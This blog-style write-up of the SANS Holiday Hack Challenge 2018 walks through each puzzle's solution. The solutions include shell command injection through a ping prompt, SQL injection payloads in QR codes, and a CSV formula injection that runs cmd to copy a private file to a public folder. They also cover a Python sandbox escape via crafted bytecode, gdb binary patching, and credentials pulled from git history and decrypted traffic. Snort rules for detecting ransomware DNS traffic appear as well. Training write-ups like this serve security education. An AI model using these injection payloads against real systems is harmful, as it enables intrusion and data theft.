SANS Holiday hack challenge 2018 was fun. It was also the first one I tried. I liked the talks and that the challenges were accessible to most skill levels. I mean RCE through the -0 bug in v8 is great and all but I want people to be able to have fun and learn new skills.
If being a security consultant has taught me anything, it's that no one has time to read your 100 page report. So here are some quick solutions. I will post my notes from the YouTube videos in different posts.
1. Orientation Challenge
The answer is Happy Trails
.
Just Google keywords from the question and you get the answers.
- Wireless Adapter
- ATNAS
- Business Card
- Cranberry Pi
- Snowballs
- The Great Book
Essential Editor Skills
Need to exit Vim with q!
or wq!
or whatever.
2. Directory Browsing
The answer is John McClane
.
Go to the CFP website: https://cfp.kringlecastle.com/cfp/cfp.html.
Navigate to https://cfp.kringlecastle.com/cfp/ to see the directory listing.
../
cfp.html 08-Dec-2018 13:19 3391
rejected-talks.csv 08-Dec-2018 13:19 30677
Download rejected-talks.csv
and search for the name of the talk.
qmt3,2,8040424,200,FALSE,FALSE,John,McClane,Director of Security,
Data Loss for Rainbow Teams: A Path in the Darkness,1,11
The Name Game
The answer is Scott
.
Using option 2, it asks for a server address to ping
. It's vulnerable to command injection. We can pass commands after ;
.
For example, passing ;ls
:
Validating data store for employee onboard information.
Enter address of server: ;ls
Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]
[-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
[-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
[-w deadline] [-W timeout] [hop1 ...] destination
menu.ps1 onboard.db runtoanswer
onboard.db: SQLite 3.x database
We can see the vulnerable code inside menu.ps1
for option 2.
cls
Write-Host "Validating data store for employee onboard information."
$server = Read-Host 'Enter address of server'
/bin/bash -c "/bin/ping -c 3 $server"
/bin/bash -c "/usr/bin/file onboard.db"
- Inject
;sqlite3
to be dropped into the sqlite prompt. .open onboard.db
to open the db file.dump
to get everything.- Search for
chan
.
INSERT INTO "onboard" VALUES(84,'Scott','Chan','48 Colorado Way',NULL,
'Los Angeles','90067','4017533509','scottmchan90067@gmail.com');
3. de Bruijn Sequences
Morcel says Welcome unprepared speaker!
.
Door Passcode
Pass code is 0120
.
Proxy the requests with Burp or open up the browser's console as you enter a passcode. Symbols correspond with 0123
.
The passcode is sent to the server in a POST request like this:
If passcode was wrong, we get:
{"success":false,"message":"Incorrect guess."}
There are 256 possible combination. Four place holders with four options, four to the power of four. No need to do anything other than bruteforce. With Burp Intruder (even the free edition's throttled Intruder), it's only a few minutes. Or we can write our own script in Python Go.
Passcode is 0120
and good response is:
{"success":true,"resourceId":"undefined",
"hash":"0273f6448d56b3aba69af76f99bdc741268244b7a187c18f855c6302ec93b703",
"message":"Correct guess!"}
The hash appears to be an HMAC of resourceId
. Can we trick the client into opening the door by supplying our own? If it's an HMAC, the secret must be in the browser. I did not look into it.
Lethal ForensicELFication
The answer is Elinore
.
Vim leaves files behind.
$ ls -alt
total 5460
-rw-r--r-- 1 elf elf 5063 Dec 14 16:13 .viminfo
cat .viminfo
$ cat .viminfo
# This viminfo file was generated by Vim 8.0.
# You may edit it if you're careful!
# Viminfo version
|1,4
# Value of 'encoding' when this file was written
*encoding=utf-8
# hlsearch on (H) or off (h):
~h
# Last Substitute Search Pattern:
~MSle0~&Elinore
# Last Substitute String:
$NEVERMORE
# Command Line History (newest to oldest):
:wq
|2,0,1536607231,,"wq"
:%s/Elinore/NEVERMORE/g
|2,0,1536607217,,"%s/Elinore/NEVERMORE/g"
:r .secrets/her/poem.txt
|2,0,1536607201,,"r .secrets/her/poem.txt"
...
File containing the poem is at /.secrets/her/poem.txt
. But the answer is obvious from the substitution. It's Elinore
.
4. Data Repo Analysis
The answer is Yippee-ki-yay
.
git repo is at https://git.kringlecastle.com/Upatree/santas_castle_automation.
Look at the commits in the web interface. There's a commit named removing accidental commit
.
A file was removed that had the password:
Hopefully this is the last time we have to change our password again until next Christmas.
Password = 'Yippee-ki-yay'
Change ID = '9ed54617547cfca783e0f81f8dc5c927e3d1e3'
The password allows us to open another file in the repository:
santas_castle_automation/schematics/ventilation_diagram.zip
:
This file contains the plans for Google Ventilation near the Google booth in the castle lobby. Using the map allows you to bypass a number of challenges and directly go to Santa's secret room.
Stall Mucking Report
Answer is
smbclient //localhost/report-upload/ directreindeerflatterystable -U report-upload -c "put report.txt"
The challenge hint talks about credentials in commands. We can see the complete output of ps with ps auxww
. Remember that ps aux
has truncated output.
$ ps auxww
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 10 0.0 0.0 49532 3212 pts/0 S 19:38 0:00 sudo -u manager /home/man
ager/samba-wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argumen
t --do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppr
ess --suppress //localhost/report-upload/ directreindeerflatterystable -U report-upload
samba-wrapper.sh
appears to be a wrapper for smbclient
. We can figure out the parameters from the command above. We need to upload the report as user report-upload
with password directreindeerflatterystable
(apparently the equivalent of XKCD correct horse battery staple
).
Command is:
smbclient //localhost/report-upload/ directreindeerflatterystable -U report-upload -c "put report.txt"
5. AD Privilege Discovery
The answer is LDUBEJ00320@AD.KRINGLECASTLE.COM
.
The image needs to be set to 64-bit
Ubuntu or Debian to work on VirtualBox (it's set to 32-bit
after importing the ova).
The VM image is at:
A shortcut to the tool Bloodhound is on the desktop. There's a built-in query for getting to domain admin from Kerberoastable accounts.
There are three accounts but two need RDP which is mentioned in the hints.
CURLing Master
Answer is:
curl -d "status=on" -X POST http://localhost:8080/index.php --http2-prior-knowledge
Supposedly the trigger to start the "Candy Striper" is an "arcane HTTP/2 call."
Partial contents of /etc/nginx/nginx.conf
show the web server only has HTTP/2 enabled.
$ cat /etc/nginx/nginx.conf
...
http {
...
server {
# love using the new stuff! -Bushy
listen 8080 http2;
# server_name localhost 127.0.0.1;
root /var/www/html;
}
Looking at command history (use the up
arrow key), we get some commands including this:
curl --http2-prior-knowledge http://localhost:8080/index.php
Running the command returns:
<html>
<head>
<title>Candy Striper Turner-On'er</title>
</head>
<body>
<p>To turn the machine on, simply POST to this URL with parameter "status=on"
</body>
</html>
We can send this:
$ curl -d "status=on" -X POST http://localhost:8080/index.php --http2-prior-knowledge
<html>
<head>
<title>Candy Striper Turner-On'er</title>
</head>
<body>
<p>To turn the machine on, simply POST to this URL with parameter "status=on"
<!-- removed -->
<p>Congratulations! You've won and have successfully completed this challenge.
<p>POSTing data in HTTP/2.0.
</body>
</html>
6. Badge Manipulation
The answer is 19880715
.
scan-o-matic
To get into the room we need to upload a QR code with the payload to do SQLi.
The request looks like:
POST /upload HTTP/1.1
Host: scanomatic.kringlecastle.com
b64barcode=[payload]
If the barcode is not properly formatted:
HTTP/1.1 200 OK
Server: nginx/1.10.3
Date: Sun, 30 Dec 2018 04:32:50 GMT
Content-Type: application/json
Content-Length: 151
Connection: close
{"data":"EXCEPTION AT (LINE 135
\"temp_file.write(base64.b64decode(request.form['b64barcode'].split(',')[-1]))\"):
Incorrect padding","request":false}
Now we if upload a QRcode with payload hello'
(note the trailing '
), we get this response:
HTTP/1.1 200 OK
Server: nginx/1.10.3
Date: Sun, 30 Dec 2018 04:32:28 GMT
Content-Type: application/json
Content-Length: 363
Connection: close
{"data":"EXCEPTION AT (LINE 96 \"user_info =
query(\"SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1\".format(uid))\"):
(1064, u\"You have an error in your SQL syntax; check the manual that corresponds
to your MariaDB server version for the right syntax to use near ''hello'' LIMIT 1' at line 1\")","request":false}
We can learn a few things:
- The server is running MariaDB.
- Original SQL query is
SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1"
- Payload is injected in the value of
uid
. - If the format of the query is correct, we get these responses
{"data":"Authorized User Account Has Been Disabled!","request":false}
{"data":"No Authorized User Account Found!","request":false}
I got this forhello' or '1'='1 -- ;
.
- Remember to pass a whitespace and a char after the comment for MariaDB to count it as a comment. The parser might not count it as a comment until it sees another character after it.
Payload
Try different payloads:
- 3.png:
hello' OR '1'='1 -- ;
- 4.png:
hello' OR 1=1 -- ;
- 5.png:
hello' AND enabled = 1 OR 1=1 -- ;
- 6.png:
hello' AND enabled = true OR 1=1 -- ;
(1 and 0 are aliases for true and false in MariaDB)
The correct payload is ' OR enabled = 1 -- ;
because we want an account that is both enabled and authorized.
SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '' OR enabled = 1 -- ; ' LIMIT 1
Response is
{"data":"User Access Granted - Control number 19880715","request":true,"success":
{"hash":"ff60055a84873cd7d75ce86cfaebd971ab90c86ff72d976ede0f5f04795e99eb","resourceId":"false"}}
The answer is 19880715
. And we are in Santa's secret room.
Yule Log Analysis
The answer is minty.candycane
.
Someone did a password spray and then logged into one account. Find that account based on logs.
There's an evtx
file and a python script to dump it as XML.
python evtx_dump.py ho-ho-no.evtx > dumped
And then I ran cat dumped
and copied everything to a local text file on my machine.
To isolate password sprays, search for 4625
(event ID for unsuccessful logon). See the nice section in the minimap? That is out password spray.
Copy/paste that part to a new file and look for successful logons (4624
). There multiple logons in the password spray logs. Which one is the attacker?
The attacker did the password spray from one IP (or multiple IPs), so logon must be from one of those IPs. All password spray attempts came from 172.31.254.101
. So we search for a successful logon (4624
) from that IP and we find minty.candycane
.
Summary of log entry:
<Event
xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"></Provider>
<TimeCreated SystemTime="2018-09-10 13:05:03.702278"></TimeCreated>
<EventRecordID>240171</EventRecordID>
<Correlation ActivityID="{71a9b66f-4900-0001-a8b6-a9710049d401}" RelatedActivityID=""></Correlation>
<Computer>WIN-KCON-EXCH16.EM.KRINGLECON.COM</Computer>
<Security UserID=""></Security>
</System>
<EventData>
<Data Name="SubjectUserName">WIN-KCON-EXCH16$</Data>
<Data Name="SubjectLogonId">0x00000000000003e7</Data>
<Data Name="TargetUserSid">S-1-5-21-25059752-1411454016-2901770228-1156</Data>
<Data Name="TargetUserName">minty.candycane</Data>
<Data Name="TargetDomainName">EM.KRINGLECON</Data>
<Data Name="WorkstationName">WIN-KCON-EXCH16</Data>
<Data Name="LogonGuid">{d1a830e3-d804-588d-aea1-48b8610c3cc1}</Data>
<Data Name="ProcessName">C:\Windows\System32\inetsrv\w3wp.exe</Data>
<Data Name="IpAddress">172.31.254.101</Data>
<Data Name="IpPort">38283</Data>
</EventData>
</Event>
7. HR Incident Response
The answer is Fancy Beaver
.
Careers Website
CSV payload is:
=CMD|'/c copy C:\candidate_evaluation.docx C:\careerportal\resources\public\myfile.txt'!A1
We need to do CSV injection on https://careers.kringlecastle.com/ and access a file.
To exfiltrate the file, we need to copy it to a publicly accessible URL. We do not need to use our own server, the 404 page gives us the location of a publicly accessible directory along with its internal address.
Publicly accessible file served from:
C:\careerportal\resources\public\ not found......
Try:
https://careers.kringlecastle.com/public/'file name you are looking for'
The following csv file works:
111,=CMD|'/c copy C:\candidate_evaluation.docx C:\careerportal\resources\public\myfile.txt'!A1,33
55,44,77
Now we can access the file at https://careers.kringlecastle.com/public/myfile.txt
, change the extension and view it.
The answer is Fancy Beaver
.
Dev Ops Fail
The answer is twinkletwinkletwinkle
.
Similar to another challenge, credentials have been committed to git and then overwritten. This time we do not have a nice web interface to view the commits and must use the command line.
kcconfmgmt
is a git repo. Either grep -ir password
or do git log -10
to see the last 10 commit messages.
Two of the commit messages are:
commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date: Thu Nov 8 21:11:03 2018 -0500
Per @tcoalbox admonishment, removed username/password from config.js, default settings
in config.js.def need to be updated before use
commit b2376f4a93ca1889ba7d947c2d14be9a5d138802
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date: Thu Nov 8 13:25:32 2018 -0500
Add passport module
So the credentials where in config.js
. It has been replaced by config.js.def
which is clean:
elf@03a47cb7373b:~/kcconfmgmt/server/config$ cat config.js.def
// Database URL
module.exports = {
'url' : 'mongodb://username:password@127.0.0.1:27017/node-api'
};
We can just revert to the commit BEFORE THE OVERWRITE and look inside that file:
git checkout b2376f4a
config.js
is now available:
elf@03a47cb7373b:~/kcconfmgmt/server/config$ cat config.js
// Database URL
module.exports = {
'url' : 'mongodb://sredberry:twinkletwinkletwinkle@127.0.0.1:27017/node-api'
};
The answer is twinkletwinkletwinkle
.
8. Network Traffic Forensics
The answer is Mary Had a Little Lamb
.
Packet capture website is at https://packalyzer.kringlecastle.com/.
We get hints after completing the Python challenge (solution is below):
- Packalyzer was rushed and deployed with development code sitting in the web root.
- Look at HTML comments left behind to grab the server-side source code.
- There is suspicious-looking development code using environment variables to store SSL keys and open up directories.
- These errors can be used to compromise SSL on the website and steal logins.
- Manipulating values in the URL gave back weird and descriptive errors.
- The HTTP/2 talk has hints. The talk talks about decrypting SSL using Wireshark using extracted keys.
Make an account and login. Then we can sniff traffic and upload pcaps for analysis. In the Captures
tab we can download/reanalyze/delete older pcaps.
Comments in code show the the name of source file:
//File upload Function. All extensions and sizes are validated server-side in app.js
Web root can be discovered by looking at asset URLs. They are all under pub
. So app.js
is at:
Weird and descriptive error looks like this:
- Access: https://packalyzer.kringlecastle.com/uploads/nem,.rxr
Error: ENOENT: no such file or directory, open '/opt/http2/uploads//nem,.rxr'
app.js Analysis
Look at load_envs
, they are opening up directories based on names of environmental variables. It was a common mistake to think they are based on values but they are just grabbing keys (Object.keys
).
function load_envs() {
var dirs = []
var env_keys = Object.keys(process.env)
for (var i=0; i < env_keys.length; i++) {
if (typeof process.env[env_keys[i]] === "string" ) {
dirs.push(( "/"+env_keys[i].toLowerCase()+'/*') )
}
}
return uniqueArray(dirs)
}
And they are used to open directories (remember we are in dev_mode
):
if (dev_mode) {
//Can set env variable to open up directories during dev
const env_dirs = load_envs();
} else {
const env_dirs = ['/pub/','/uploads/'];
}
SSLKEYLOGFILE
We can go to:
And see the name of the SSLKEYLOGFILE
environmental variable:
Error: ENOENT: no such file or directory, open '/opt/http2packalyzer_clientrandom_ssl.log/'
But that is not the file name. It is, but not all of it. Again it was a common mistake on Discord to think http2packalyzer_clientrandom_ssl.log/
is the file name. The file is formatted neatly by separating different words with underscores BUT in the beginning, two words are mashed together unceremonially. http2
is part of the error message as we have seen before. The value is:
packalyzer_clientrandom_ssl.log
The complete path to the log file is inside app.js
:
const dev_mode = true;
const key_log_path = ( !dev_mode || __dirname + process.env.DEV + process.env.SSLKEYLOGFILE )
const options = {
key: fs.readFileSync(__dirname + '/keys/server.key'),
cert: fs.readFileSync(__dirname + '/keys/server.crt'),
http2: {
protocol: 'h2', // HTTP2 only. NOT HTTP1 or HTTP1.1
protocols: [ 'h2' ],
},
keylog : key_log_path //used for dev mode to view traffic. Stores a few minutes worth at a time
Let's break down __dirname + process.env.DEV + process.env.SSLKEYLOGFILE
.
__dirname
is the current directory of the module.process.env.DEV
is justDEV
. If you were a developer you would have set the value ofDEV
totrue
or justDEV
.
Meaning the path is:
We see a bunch of keys. Remembering the associated Kringlecon talk, it seems they belong to pcaps that are generated by sniffing the traffic for 20 seconds inside the application. The trick is to sniff traffic and then quickly (well within a couple of minutes) get the keys. Now we can decrypt the traffic in Wireshark.
Inside Wireshark use the filter http2.data.data
.
There does not seem to be a file there but there are multiple username/passwords there. Let's see if we can login as other people and sniff their traffic?
I tried doing another capture and it was the same. These credentials appear in all sniff captures:
{"username": "pepper", "password": "Shiz-Bamer_wabl182"}
{"username": "bushy", "password": "Floppity_Floopy-flab19283"}
{"username": "alabaster", "password": "Packer-p@re-turntable192"}
We can login as alabaster
. There's something in his captures, download it and view it in Wireshark. This one is not SSL traffic, we can just read the file. Note the text of the email, it has a hint for later challenges.
Hey alabaster,
Santa said you needed help understanding musical notes for accessing the vault. He said your favorite key was D. Anyways, the following attachment should give you all the information you need about transposing music.
There's a base64 encoded attachment in the TCP stream, we can copy it to a file and decode it.
Base64 encode decode w/o powershell:
$ certutil.exe -decode encoded-file.txt decoded-file
Input Length = 132161
Output Length = 97831
CertUtil: -decode command completed successfully.
Open it up in a hex editor, it's a PDF (see the header). Seems like it's about the Piano door lock.
Name of the song is the answer: Mary Had a Little Lamb
.
Python Escape from LA
The answer is use the methods in the talk to generate bytecode
. See solution below.
We're inside a Python interpreter and need to run ./i_escaped
. The talk has the answer.
First, let's see what is banned out of the four keywords from the talk. Only eval
is allowed.
>>> os = eval('__im' + 'port__("os")')
>>> os.system("ls")
Use of the command os.system is prohibited for this question.
os.system
is banned.subprocess
is also banned.popen
is banned. seems like they are filteringopen
which catchespopen
too.
>>> subprocess.popen
Use of the command open is prohibited for this question.
Let's find the Python version. make_object
from the talk must be used in a similar version.
We are running in 3.5.2
:
>>> sys = eval('__im' + 'port__("sys")')
>>> sys.version
'3.5.2 (default, Nov 12 2018, 13:43:14) \n[GCC 5.4.0 20160609]'
I had a VM with 3.5.2
so I used this:
def bypass():
import os
print(os.system("./i_escaped"))
To get:
def a():
return
a.__code__ = type(a.__code__)(0,0,1,3,67,b'd\x01\x00d\x00\x00l\x00\x00}\x00\x00t\x01\x00|\x00\x00j\x02\x00d\x02\x00\x83\x01\x00\x83\x01\x00\x01d\x00\x00S',(None, 0, './i_escaped'),('os', 'print', 'system'),('os',),'<stdin>','bypass',1,b'\x00\x01\x0c\x01')
And it works:
Loading, please wait......
____ _ _
| _ \ _ _| |_| |__ ___ _ __
| |_) | | | | __| '_ \ / _ \| '_ \
| __/| |_| | |_| | | | (_) | | | |
|_|___ \__, |\__|_| |_|\___/|_| |_| _ _
| ____||___/___ __ _ _ __ ___ __| | |
| _| / __|/ __/ _` | '_ \ / _ \/ _` | |
| |___\__ \ (_| (_| | |_) | __/ (_| |_|
|_____|___/\___\__,_| .__/ \___|\__,_(_)
|_|
That's some fancy Python hacking -
You have sent that lizard packing!
-SugarPlum Mary
You escaped! Congratulations!
0
9. Ransomware Recovery
Challenge with multiple sections.
The Sleighball
The answer is solution is below
.
The article in the hints section, using gdb to call random functions shows how to use GDB to directly jump to winnerwinner
. I changed the drawing number because I think it's a better way.
We need to win the lottery:
$ ./sleighbell-lotto
The winning ticket is number 1225.
Rolling the tumblers to see what number you'll draw...
You drew ticket number 4965!
Sorry - better luck next year!
The winning number seems to be 1225
all the time.
We can dump everything for offline analysis, but it's not needed:
objdump -M intel -D sleighbell-lotto > dump1
objdump
can dump the symbol table and shows different functions. One is winnerwinner
. We can jump directly to it and win but I'd rather go to main
.
$ objdump --syms sleighbell-lotto
sleighbell-lotto: file format elf64-x86-64
SYMBOL TABLE:
// removed random symbols
0000000000000000 F *UND* 0000000000000000 printf@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 memset@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 puts@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 exit@@GLIBC_2.2.5
0000000000208060 g O .data 0000000000000008 winnermsg
0000000000000fd7 g F .text 00000000000004e0 winnerwinner
0000000000208070 g O .bss 0000000000000008 decoded_data
0000000000000000 F *UND* 0000000000000000 srand@@GLIBC_2.2.5
00000000000014b7 g F .text 0000000000000013 sorry
0000000000000000 F *UND* 0000000000000000 rand@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 time@@GLIBC_2.2.5
00000000000014ca g F .text 00000000000000e1 main
Run it in GDB and break main
and set disassembly-flavor intel
(because AT&T syntax sucks).
Then disass
on main to see where we are and see the check. I went through main
and analyzed everything (side note: analysis
was one of the banned words in the chat). See the analysis below but you can skip it:
Important part is here:
; removed
; drawn number is manipulated and stored here
0x000055555555553c <+114>: mov DWORD PTR [rbp-0x4],eax
; removed
; later it's compared to 1225 or 0x04C9
0x0000555555555582 <+184>: cmp DWORD PTR [rbp-0x4],0x4c9
; if not equal, jump to sorry if not continue
0x0000555555555589 <+191>: jne 0x555555555597 <main+205>
0x000055555555558b <+193>: mov eax,0x0
; if equal, continuing execution reaches winnerwinner
0x0000555555555590 <+198>: call 0x555555554fd7 <winnerwinner>
0x0000555555555595 <+203>: jmp 0x5555555555a1 <main+215>
0x0000555555555597 <+205>: mov eax,0x0
; jump here if numbers are not equal
0x000055555555559c <+210>: call 0x5555555554b7 <sorry>
0x00005555555555a1 <+215>: mov edi,0x0
0x00005555555555a6 <+220>: call 0x555555554920 <exit@plt>
There are multiple ways to do this:
- Set a breakpoint on
mov DWORD PTR [rbp-0x4],eax
and modify the value ofeax
to0x04C9
. - Set a breakpoint on
jne 0x555555555597 <main+205>
and change theZF
. - And more.
I did the first one:
break *0x000055555555554c
c # continue
set $rax = 0x4c9
c # continue
More Analysis
Something is pushed to rdi
and then getenv
is called. We can break on the call getenv
line and read the contents of rdi
.
0x00005555555554d9 <+15>: call 0x555555554970 <getenv@plt>
0x00005555555554de <+20>: test rax,rax
0x00005555555554e1 <+23>: jne 0x5555555554f9 <main+47>
Let's see what it does:
(gdb) x/s $rdi
0x55555555abaf: "RESOURCE_ID"
So it's reading RESOURCE_ID
from environmental variables and if it's not zero (see test rax rax
) it jumps to main+47
.
si
steps in and ni
steps over for assembly instructions. In this case the result is:
(gdb) x/s $rax
0x7fffffffe951: "7a29a437-8523-4513-828e-53394fa647a4"
Might be a check to see if it's running in a docker container?
Next edi
is set to zero and then time
is called. Which gets the time.
0x00005555555554fe <+52>: call 0x5555555549e0 <time@plt>
0x0000555555555503 <+57>: mov edi,eax
After the function call rax
has the current time. View them with info registers
:
rax 0x5c28c70b 1546176267
edi
now has the time.
srand(time)
calls srand
and seeds it with the current time.
Before puts
we can see rdi
and see it always prints the following text.
0x0000555555555505 <+59>: call 0x5555555549a0 <srand@plt>
0x000055555555550a <+64>: lea rdi,[rip+0x583f] # 0x55555555ad50
Finally, the intro text is printed. Meaning the winning ticket is always the same. Maybe not, but the text is always the same.
0x0000555555555511 <+71>: call 0x555555554910 <puts@plt>
0x0000555555555516 <+76>: mov edi,0x1
(gdb) x/s $rdi
0x55555555ad50: "\nThe winning ticket is number 1225.\nRolling the tumblers to see what nu
mber you'll draw...\n"
Then it sleeps for a second (see sleep
).
Then calls rand
and then does a bunch of stuff to it to generate our number:
0x0000555555555520 <+86>: call 0x5555555549c0 <rand@plt>
0x0000555555555525 <+91>: mov ecx,eax
0x0000555555555527 <+93>: mov edx,0x68db8bad
0x000055555555552c <+98>: mov eax,ecx
0x000055555555552e <+100>: imul edx
0x0000555555555530 <+102>: sar edx,0xc
0x0000555555555533 <+105>: mov eax,ecx
0x0000555555555535 <+107>: sar eax,0x1f
0x0000555555555538 <+110>: sub edx,eax
0x000055555555553a <+112>: mov eax,edx
0x000055555555553c <+114>: mov DWORD PTR [rbp-0x4],eax
Long story short, the result of calculation ends up in eax
and stored in memory.
0x000055555555554c <+130>: mov DWORD PTR [rbp-0x4],eax
Set a breakpoint here and change the value to 0x04C9
and we're done.
(gdb) set $rax = 0x4c9
(gdb) c
Continuing.
You drew ticket number 1225!
// removed ASCII art
With gdb you fixed the race.
The other elves we did out-pace.
And now they'll see.
They'll all watch me.
I'll hang the bells on Santa's sleigh!
Congratulations! You've won, and have successfully completed this challenge.
9.1 Catch the Malware
The answer contains two rules. For both outgoing and incoming DNS traffic with a specific string in them:
alert udp any any -> any 53 (msg:"malware DNS request"; sid:10000001; content:"77616E6E61636F6F6B69652E6D696E2E707331";)
alert udp any 53 -> any any (msg:"malware DNS response";sid:10000002; content:"77616E6E61636F6F6B69652E6D696E2E707331";)
- Login to the web interface at http://snortsensor1.kringlecastle.com/ and download some pcaps.
- Look inside them and see the DNS requests.
77616E6E61636F6F6B69652E6D696E2E707331.rahbegunsr.net 77616E6E61636F6F6B69652E6D696E2E707331.baehnrusrg.com 12.77616E6E61636F6F6B69652E6D696E2E707331.rahbegunsr.net 16.77616E6E61636F6F6B69652E6D696E2E707331.baehnrusrg.com 1.77616E6E61636F6F6B69652E6D696E2E707331.hngaerrbus.org
- They all share the same string:
77616E6E61636F6F6B69652E6D696E2E707331
Create Snort rules for both sides of traffic as seen above:
[+] Congratulation! Snort is alerting on all ransomware and only the ransomware!
9.2 Identify the Domain
The answer is erohetfanu.com
.
We have already seen the domain in Wireshark, it's erohetfanu.com
.
Dropper Analysis
Update 2022-02-07: Windows Defender keeps deleting this file because it detects a trojan. This is likely because of this dropper code. I am tired of reverting this. So I am gonna remove parts of this section to figure out which part is the culprit. The cleaned up PowerShell script is on GitHub.
See the complete blog post here: https://gist.github.com/parsiya/a36311f9effc44024e8ee0d1d49962d1
There's a zip file with a docm
in it. Password is elves
.
// removed
Looking at the PowerShell script we can see it's using AES-CBC. This gives us the file encryption key:
FBCFC121915D99CC20A3D3D5D84F8308
After decrypting the file, we can see it's a SQLite database file. It starts with SQLite format 3
. Opening it gives us the password for the vault and some other places. Alabaster is an anon.
- The password for the vault is
ED#ED#EED#EF#G#F#G#ABA#BA#B
.
10. Who Is Behind It All?
The answer is Santa
. He wanted us to help defend the castle so he made up the challenges. Hans was pretending to be the villain and the toy soldiers are elves in disguise.
"Based on your victory… next year, I'm going to ask for your help in defending my whole operation from evil bad guys."
I guess next year's challenge is mostly blue team stuff? Sounds fun.
The piano door is based on notes. We can use the PDF from challenge 8 to figure it out. It's the one that Holly sent to Alabaster. His original password does not work on the door because it has been modified based on the instructions.
We know his favorite key is D
(from the text of Holly's email from challenge 8). We need to go from E
to D
which is one step or two keys to the left. So we will use the PDF to do it.
The door code is:
D C# D C# D D C# D E F# E F# G A G# A G# A
Conclusion
This was fun, hope you enjoyed it as much as I did.